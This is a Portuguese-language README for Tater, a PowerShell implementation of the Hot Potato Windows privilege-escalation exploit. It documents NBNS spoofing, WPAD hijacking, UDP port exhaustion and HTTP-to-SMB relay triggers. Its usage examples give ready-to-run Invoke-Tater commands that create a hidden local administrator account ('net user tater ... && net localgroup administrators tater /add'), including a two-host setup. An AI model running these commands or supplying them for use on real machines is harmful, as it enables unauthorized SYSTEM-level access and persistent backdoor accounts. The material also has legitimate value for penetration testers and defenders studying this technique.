Tater
Tater é uma implementação em PowerShell do exploit de escalonamento de privilégios Hot Potato do Windows.
Crédito
Todo o crédito vai para @breenmachine, @foxglovesec, Google Project Zero e qualquer outra pessoa que ajudou a elaborar os detalhes deste exploit.
Incluído em
Funções
Invoke-Tater
- A função principal do Tater.
Parâmetros
- IP - Especifica um endereço IP local específico. Um endereço IP será selecionado automaticamente se este parâmetro não for utilizado.
- SpooferIP - Especifica um endereço IP para spoofing NBNS. Isso é necessário ao usar dois hosts para contornar uma porta 80 em uso no alvo de privesc.
- Command - Comando a ser executado como SYSTEM no localhost. Use escapes de caracteres do PowerShell quando necessário.
- NBNS - Padrão = Ativado: (Y/N) Ativar/Desativar spoofing de força bruta NBNS.
- NBNSLimit - Padrão = Ativado: (Y/N) Ativar/Desativar a limitação do spoofing de força bruta NBNS para parar o spoofing NBNS enquanto o hostname está sendo resolvido corretamente.
- ExhaustUDP - Padrão = Desativado: (Y/N) Ativar/Desativar exaustão de portas UDP para forçar que todas as consultas DNS falhem e assim recorrer à resolução NBNS.
- HTTPPort - Padrão = 80: Especifica uma porta TCP para o listener HTTP e resposta de redirecionamento.
- Hostname - Padrão = WPAD: Hostname a ser falsificado. WPAD.DOMAIN.TLD pode ser necessário no Windows Server 2008.
- WPADDirectHosts - Lista separada por vírgulas de hosts para listar como diretos no arquivo wpad.dat. Note que localhost é sempre listado como direto.
- WPADPort - Padrão = 80: Especifica uma porta de servidor proxy a ser incluída no arquivo wpad.dat.
- Trigger - Padrão = 1: Tipo de gatilho a ser usado para acionar o relay HTTP para SMB. 0 = Nenhum, 1 = Atualização de Assinatura do Windows Defender, 2 = Webclient/Tarefa Agendada do Windows 10
- TaskDelete - Padrão = Ativado: (Y/N) Ativar/Desativar a exclusão de tarefa agendada para o trigger 2. Se ativado, uma string aleatória será adicionada ao nome da tarefa para evitar falhas após múltiplas execuções do trigger 2.
- Taskname - Padrão = Tater: Nome da tarefa agendada a ser usado com o trigger 2. Se você observar que o Tater não funciona após múltiplas execuções do trigger 2, tente alterar o nome da tarefa.
- RunTime - Padrão = Ilimitado: (Inteiro) Define a duração do tempo de execução em minutos.
- ConsoleOutput - Padrão = Desativado: (Y/N) Ativar/Desativar a saída do console em tempo real. Se estiver usando esta opção através de um shell, teste para garantir que não irá travar o shell.
- StatusOutput - Padrão = Ativado: (Y/N) Ativar/Desativar mensagens de inicialização.
- ShowHelp - Padrão = Ativado: (Y/N) Ativar/Desativar as mensagens de ajuda na inicialização.
- Tool - Padrão = 0: (0,1,2) Ativar/Desativar recursos para melhor operação através de ferramentas externas, como as Sessões Interativas do PowerShell do Metasploit e o Empire. 0 = Nenhum, 1 = Metasploit, 2 = Empire
Stop-Tater
- Função para parar manualmente o Invoke-Tater.
Uso
Exemplos
-
Exemplo básico do trigger 1
Invoke-Tater -Trigger 1 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
-
Exemplo básico do trigger 2
Invoke-Tater -Trigger 2 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
-
Configuração de dois sistemas para contornar a porta 80 em uso no alvo de privesc
Sistema WPAD - 192.168.10.100 - este sistema apenas servirá um arquivo wpad.dat que direcionará o tráfego HTTP no alvo de privesc para a porta HTTP diferente de 80
Invoke-Tater -Trigger 0 -NBNS N -WPADPort 8080 -Command "null"
Alvo de Privesc - 192.168.10.101
Invoke-Tater -Command "net user Tater Winter2016 /add && net localgroup administrators Tater /add" -HTTPPort 8080 -SpooferIP 192.168.10.100
Capturas de Tela
Windows 7 usando o trigger 1 (NBNS WPAD Bruteforce + Atualizações de Assinatura do Windows Defender)

Windows 10 usando o trigger 2 (Serviço WebClient + Tarefa Agendada)

Windows 7 usando o trigger 1 e exaustão de portas UDP
